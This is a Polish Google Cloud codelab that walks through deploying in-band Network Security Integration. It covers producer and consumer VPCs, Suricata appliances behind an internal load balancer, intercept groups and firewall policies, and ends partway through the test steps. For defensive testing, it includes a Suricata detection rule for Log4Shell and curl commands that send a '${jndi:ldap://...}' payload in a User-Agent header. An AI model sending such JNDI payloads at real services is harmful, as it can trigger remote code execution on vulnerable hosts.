Codelab dotyczący integracji zabezpieczeń sieci w paśmie (NSI)

1. Wprowadzenie

Network Security Integration

Network Security Integration (NSI) zapewnia elastyczność w zakresie zwiększania bezpieczeństwa sieci w przypadku zbiorów zadań. Możesz skorzystać z urządzenia specjalnego od niezależnego dostawcy oprogramowania lub z silnika głębokiego sprawdzania pakietów (DPI) do sprawdzania ładunku. Aby umożliwić płynną integrację z tymi urządzeniami innych firm, Google Cloud ułatwia ich wdrażanie w sposób przejrzysty, bez konieczności wprowadzania zmian w sieci lub routingu.

Google Cloud oferuje 2 rodzaje Network Security Integration: poza pasmem i w paśmie. W tym laboratorium dowiesz się, jak wdrożyć integrację zabezpieczeń sieciowych w pasmie.

Integracja zabezpieczeń sieciowych w paśmie

Network Security Integration zapewnia integrację w paśmie za pomocą technologii przechwytywania pakietów, która umożliwia umieszczanie urządzeń sieciowych innych firm na ścieżce ruchu w sieci w celu przejrzystej inspekcji zbiorów zadań Google Cloud. W tym procesie używana jest technologia GENEVE (Generic Network Virtualization Encapsulation), która umożliwia bezpieczne przesyłanie pakietów do urządzenia bez zmiany oryginalnych adresów IP źródła i miejsca docelowego.

Integracja w pasmie oferuje podejście zorientowane na usługi, które umożliwia wdrażanie i używanie urządzeń sieciowych innych firm w trybie bump-in-the-wire. Jako producent usług możesz opublikować skalowalny zestaw urządzeń sieciowych innych firm jako wdrożenie przechwytujące. Jako konsument usługi możesz używać zasad i reguł Cloud Next Generation Firewall, aby precyzyjnie wybierać ruch, który ma być w sposób przejrzysty przekierowywany do lokalnego punktu końcowego przechwytywania w celu sprawdzenia.

61bfbf754e04cf70.png

Rysunek 1. Ogólna architektura wdrażania usługi integracji w paśmie

Więcej informacji o integracji z NSI w paśmie znajdziesz w tym artykule.

Producent usługi w paśmie

Producenci usług to miejsca, w których wdrażane są urządzenia innych firm i gdzie nimi się zarządza. Może tym zarządzać ktoś z Twojej organizacji (np. zespół ds. bezpieczeństwa) lub zewnętrzny dostawca. Usługodawcy rejestrują swoje maszyny wirtualne, które mogą być urządzeniami innych firm, jako backendy wewnętrznego przekazującego sieciowego systemu równoważenia obciążenia w sieci VPC. Te urządzenia sprawdzają ruch w sieci, który jest do nich przekierowywany. Dostawcy usług tworzą następnie wdrożenia przechwytywania, czyli zasoby strefowe, które wskazują regułę przekierowania wewnętrznego przekazującego sieciowego systemu równoważenia obciążenia.

Wdrożenie przechwytujące to zasób strefowy, który reprezentuje usługę inspekcji producenta w określonej strefie. Producenci tworzą wdrożenia przechwytujące dla każdej strefy, w której wdrożyli maszyny wirtualne.

Grupa wdrożeń przechwytywania to globalny zasób ograniczony do projektu, który umożliwia konsumentom łączenie się z usługami inspekcji producenta. Producenci tworzą grupę wdrożeń przechwytujących, aby grupować wiele strefowych wdrożeń przechwytujących. Producenci używają IAM do kontrolowania, którzy konsumenci mogą łączyć się z ich grupą wdrożenia.

Więcej informacji znajdziesz w artykułach Omówienie grup wdrożeń przechwytywaniaOmówienie wdrożeń przechwytywania.

Konsument usługi w paśmie

Konsumenci usług korzystają z usług inspekcji oferowanych przez producentów. Konsumenci określają, które sieci VPC mają być sprawdzane i od którego producenta. Aby to zrobić, konsumenci tworzą grupę punktów końcowych przechwytywania, czyli zasób globalny reprezentujący ich stronę relacji producent–konsument, i łączą ją z grupą wdrożeń przechwytywania producenta.

Aby powiązać grupę punktów końcowych przechwytywania z sieciami VPC, z których ma być kontrolowany ruch, klienci tworzą powiązanie grupy punktów końcowych przechwytywania. Aby wybrać ruch, który ma być wysyłany do producenta w celu sprawdzenia, konsumenci tworzą i stosują zasady zapory sieciowej. Klienci tworzą grupę profili zabezpieczeń zawierającą profil zabezpieczeń, który odwołuje się do ich grupy punktów końcowych przechwytywania. Następnie konsumenci tworzą regułę zapory sieciowej, aby przekierowywać ruch spełniający określone kryteria do urządzeń producenta.

Chociaż grupa punktów końcowych przechwytywania(IEG) jest zasobem na poziomie projektu, grupa IEG i powiązanie IEG nie muszą znajdować się w tym samym projekcie. Do IEG można się odwoływać za pomocą powiązania IEG z innych projektów w organizacji. Reprezentuje stronę konsumenta w relacji producent–konsument. Konsumenci tworzą grupę punktów końcowych przechwytywania, aby korzystać z usługi inspekcji producenta. Każda grupa punktów końcowych przechwytywania po stronie konsumenta jest powiązana z jedną grupą wdrożenia przechwytywania po stronie producenta.

Więcej informacji znajdziesz w artykule Omówienie grup punktów końcowych przechwytywania i powiązań.

Konsumenci muszą utworzyć regułę zasady zapory sieciowej, aby przekierowywać ruch do grupy punktów końcowych przechwytywania. Konsumenci mogą określić kryteria dopasowania w regule zasad zapory sieciowej, co pozwala im zdefiniować, który ruch ma być sprawdzany przez urządzenia producenta.

Użytkownicy tworzą niestandardowy profil zabezpieczeń przechwytywania, aby określić, która grupa punktów końcowych przechwytywania ma być używana do sprawdzania ruchu.

Konsumenci tworzą grupę profili zabezpieczeń, aby zdefiniować grupę funkcji kontroli zabezpieczeń, które powinny być stosowane do określonego podzbioru ruchu. Grupa profili zabezpieczeń zawiera jeden niestandardowy profil zabezpieczeń przechwytywania.

Co utworzysz

ea01a16258c792c1.png

Rysunek 2. Architektura wdrożenia na wysokim poziomie w tym ćwiczeniu z programowania

Na potrzeby tego ćwiczenia w Codelabs użyjesz jednego projektu i utworzysz 2 sieci VPC, a także będziesz zarządzać wieloma zasobami sieciowymi i związanymi z bezpieczeństwem. W tym laboratorium dowiesz się, jak wdrożyć integrację usług sieciowych w pasmie z urządzeniem innej firmy w celu przejrzystego wstawiania zabezpieczeń.

Przepływy do sprawdzenia będą wybierane za pomocą parametrów dopasowywania zapory sieciowej Cloud, w tym 5-krotki (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy). Na potrzeby tego laboratorium sprawdzisz cały ruch WYCHODZĄCY na porcie TCP 80.

Producent zezwoli na ruch przychodzący z adresu IP bramy podsieci sieci VPC producenta (10.0.0.1/32) w przypadku pakietów UDP z portem docelowym 6081, czyli znanym portem GENEVE.

Stan końcowy bazy reguł zasad zapory sieciowej będzie podobny do tabeli poniżej:

Zasady sieci producentów:

Priorytet

Kierunek

Protokół

Target

Źródło

Cel

Port docelowy

Czynność

100

Ruch przychodzący

Wszystkie

Wszystkie

Kontrole stanu

Dowolna

Dowolna

Zezwól

200

Ruch przychodzący

Wszystkie

Wszystkie

IAP

Dowolna

Dowolna

Zezwól

300

Ruch przychodzący

UDP

Wszystkie

10.0.0.1/32

Dowolna

6081

Zezwól

Zasady dotyczące sieci konsumenckich:

Priorytet

Kierunek

Protokół

Target

Źródło

Cel

Port docelowy

Czynność

200

Ruch przychodzący

TCP

Wszystkie

IAP

Dowolna

22

Zezwól

800

Ruch wychodzący

TCP

Wszystkie

Dowolna

Dowolna

80

Przechwyć

Czego się nauczysz

  • Wdrażanie integracji zabezpieczeń sieci w zakresie

Czego potrzebujesz

  • Organizacja i projekt Google Cloud
  • Odpowiednie uprawnienia
  • umiejętność wdrażania instancji i konfigurowania komponentów sieciowych;
  • Znajomość konfiguracji zapory sieciowej zasad sieciowych

2. Zanim zaczniesz

Role i uprawnienia

Aby ukończyć ćwiczenie w Codelabs dotyczące integracji zabezpieczeń sieci w zakresie (NSI), musisz mieć te role Uprawnień:

  • Administrator sieci Compute (roles/compute.networkAdmin): wymagana do tworzenia sieci VPC, podsieci, routerów Cloud Router, bramek NAT i usług backendu systemu równoważenia obciążenia oraz zarządzania nimi.
  • Administrator zabezpieczeń Compute (roles/compute.securityAdmin): wymagana do tworzenia, konfigurowania i powiązywania globalnych zasad i reguł zapory sieciowej.
  • Administrator instancji Compute (roles/compute.instanceAdmin.v1): wymagane do wdrażania, łączenia się przez SSH i usuwania urządzeń Suricata oraz testowych maszyn wirtualnych konsumentów.
  • Administrator wdrożenia przechwytywania (roles/networksecurity.interceptDeploymentAdmin): używany przez producenta do tworzenia wdrożeń przechwytywania w strefach i zarządzania nimi oraz globalną grupą wdrożeń.
  • Administrator punktu końcowego przechwytywania (roles/networksecurity.interceptEndpointAdmin): używany przez konsumenta do tworzenia grup punktów końcowych przechwytywania i powiązywania ich z siecią VPC.
  • Użytkownik wdrożenia przechwytywania (roles/networksecurity.interceptDeploymentUser): wymagane w projekcie producenta, aby przyznać konsumentowi uprawnienia do łączenia się z grupą wdrożeń producenta.
  • Administrator profilu zabezpieczeń (roles/networksecurity.securityProfileAdmin): wymagane na poziomie organizacji do tworzenia niestandardowych profili zabezpieczeń przechwytywania i grup profili zabezpieczeń oraz zarządzania nimi.
  • Administrator wykorzystania usług (roles/serviceusage.serviceUsageAdmin): wymagane do włączenia interfejsów API networksecurity.googleapis.com i compute.googleapis.com, które są niezbędne do korzystania z funkcji NSI.
  • Przeglądający projekt (roles/viewer): potrzebne do pobierania konfiguracji projektu i informacji o pochodzeniu organizacji na potrzeby zmiennych środowiskowych używanych w całym laboratorium.

Interfejsy Google Cloud APIs

Sprawdź, czy w projekcie są włączone wymagane interfejsy API Google Cloud.

Włącz niezbędne interfejsy API, uruchamiając w Cloud Shell te polecenia gcloud.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

Tworzenie i aktualizowanie zmiennych

To ćwiczenie wykorzystuje $variables, aby ułatwić implementację konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom te polecenia, zastępując informacje w nawiasach kwadratowych odpowiednimi danymi:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. Działania producenta

W tej sekcji omówimy wdrożenie po stronie producenta. Obejmuje to wdrożenie sieci VPC, zewnętrznego wirtualnego urządzenia sieciowego i wszystkich odpowiednich komponentów Network Security Integration.

Komponenty VPC i Cloud NAT

  1. Utwórz sieć VPC i podsieć:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. Uzyskaj adres IP bramy podsieci do użycia w regule zapory sieciowej:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. Utwórz zasady zapory sieciowej i reguły dla sieci VPC producenta. Te reguły zapory sieciowej zezwalają na ruch przychodzący na potrzeby kontroli stanu, IAP i NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. Powiąż sieć VPC producenta z zasadami zapory sieciowej:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. Wdróż router Cloud Router i Cloud NAT dla urządzenia wirtualnego sieciowego (NVA) innej firmy, aby pobrać wymagane pakiety i aktualizacje:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

Maszyny wirtualne innych firm

W tym laboratorium wdrożysz Suricatę, czyli usługę wykrywania zagrożeń typu open source. Polecenie zawiera skrypt uruchamiania, który zainstaluje i skonfiguruje Suricatę. Istnieją też tablice iptables, które wykonują translację źródłowych adresów sieciowych (SNAT) i docelowych adresów sieciowych (DNAT) w celu obsługi pakietów GENEVE i odpowiadania na nie.

  1. Wdróż w pierwszej strefie urządzenie NVA innej firmy.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. Wdróż urządzenie NVA innej firmy w drugiej strefie:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

Komponenty systemu równoważenia obciążenia producenta

  1. Utwórz ogólną kontrolę stanu, która będzie używana do sprawdzania dostępności urządzenia NVA innej firmy:
gcloud compute health-checks create http nva-hc
  1. Utwórz strefową niezarządzaną grupę instancji w każdej strefie:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. Dodaj instancje do grup instancji:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

Sprawdź, czy grupy instancji zawierają Twoje instancje, używając tych poleceń:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

Przykładowe dane wyjściowe:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. Utwórz wewnętrzną usługę backendu UDP:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. Dodaj obie grupy instancji do usługi backendu:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. zarezerwować wewnętrzne adresy IP dla reguł przekierowania, Każde wdrożenie przechwytywania wymaga unikalnej reguły przekierowania:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. Utwórz regułę przekierowania dla każdej strefy. Jest to wymagane, ponieważ wdrożenie przechwytywania wymaga unikalnej reguły przekierowania:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Komponenty Network Security Integration

  1. Utwórz grupę wdrożeń przechwytywania:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

Sprawdź, czy grupa wdrożenia została utworzona:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

Przykładowe dane wyjściowe:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. Utwórz wdrożenie przechwytywania dla każdej strefy:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Sprawdź, czy wdrożenia przechwytywania zostały utworzone:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

Przykładowe dane wyjściowe:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

Gratulacje! Konfiguracja po stronie producenta została zakończona. Następnie skonfiguruj stronę klienta, aby przechwytywała ruch i przesyłała go w sposób niewidoczny dla użytkownika do urządzeń innych firm w celu wymuszenia zasad.

4. Działania konsumentów

W tym laboratorium dla uproszczenia używamy oddzielnych sieci VPC w jednym projekcie, ale w rzeczywistych środowiskach zasoby producenta i konsumenta mogą znajdować się w różnych projektach, a nawet w różnych organizacjach.

Komponenty VPC i Cloud NAT

  1. Utwórz sieć VPC i podsieć:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Utwórz router Cloud Router i bramę Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

Grupa punktów końcowych przechwytywania i powiązanie

  1. Utwórz grupę punktów końcowych przechwytywania:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Sprawdź, czy punkt końcowy został utworzony:

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

Przykładowe dane wyjściowe:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. Utwórz powiązanie grupy punktów końcowych przechwytywania, określając sieć VPC odbiorcy:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Weryfikacja:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

Przykładowe dane wyjściowe:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

Profil zabezpieczeń i grupa profili zabezpieczeń

Następnie utworzysz niestandardowy profil zabezpieczeń przechwytywania i dołączysz go do grupy profili zabezpieczeń. Profil zabezpieczeń i grupa profili zabezpieczeń są używane do przechwytywania pakietów na potrzeby urządzeń innych firm.

  1. Utwórz profil zabezpieczeń z niestandardowym przechwytywaniem:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Sprawdź, czy profil zabezpieczeń został utworzony:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

Przykładowe dane wyjściowe:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. Utwórz grupę profili zabezpieczeń:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

Sprawdź, czy grupa SPG została utworzona:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

Przykładowe dane wyjściowe:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

Zasady zapory sieciowej, reguły i powiązania

  1. Utwórz globalną zasadę zapory sieciowej:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. Utwórz reguły zapory sieciowej:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. Utwórz regułę zapory sieciowej, która przechwytuje cały ruch wychodzący przy użyciu interfejsu NSI i przesyła go w sposób przejrzysty do urządzenia innej firmy. Ta reguła będzie wysyłać do sprawdzenia cały ruch wychodzący TCP:80.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. Powiąż zasadę zapory sieciowej z siecią VPC:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

Maszyny wirtualne dla klientów

  1. Wdróż maszyny wirtualne używane do weryfikacji NSI. Wdrożysz 3 maszyny wirtualne w 3 strefach. Pamiętaj, że tylko 2 strefy mają włączoną funkcję NSI, a strefa $zonec nie.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

Testowanie integracji zabezpieczeń sieciowych w paśmie

  1. Połącz się z maszyną wirtualną w strefie $zonea (consumer-$zonea) za pomocą SSH. Wysyłanie ruchu testowego:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. Wysyłanie ruchu testowego na adres http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Oczekiwane dane wyjściowe:

200

Kod stanu HTTP 200 oznacza, że żądanie klienta zostało odebrane, zrozumiane i przetworzone przez serwer.

  1. Wysyłaj przez NSI żądania log4j, które powinny być blokowane przez Suricatę.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Oczekiwane dane wyjściowe:

000

Kod odpowiedzi HTTP 000 to nieoficjalny, niestandardowy kod używany przez niektóre programy do wskazywania, że nie otrzymano prawidłowego kodu stanu HTTP. Oznacza to prawdopodobnie, że żądanie zostało zablokowane przez zaporę sieciową.

  1. Wróć do Cloud Shell, zamykając sesję SSH.
exit
  1. SSH do maszyny wirtualnej w $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. Podobnie wyślij ruch testowy:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Oczekiwane dane wyjściowe:

200
  1. Wysyłanie żądania log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Oczekiwane dane wyjściowe:

000
  1. Wróć do Cloud Shell, zamykając sesję SSH.
exit
  1. SSH do maszyny wirtualnej w strefie $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. Podobnie wyślij ruch testowy:
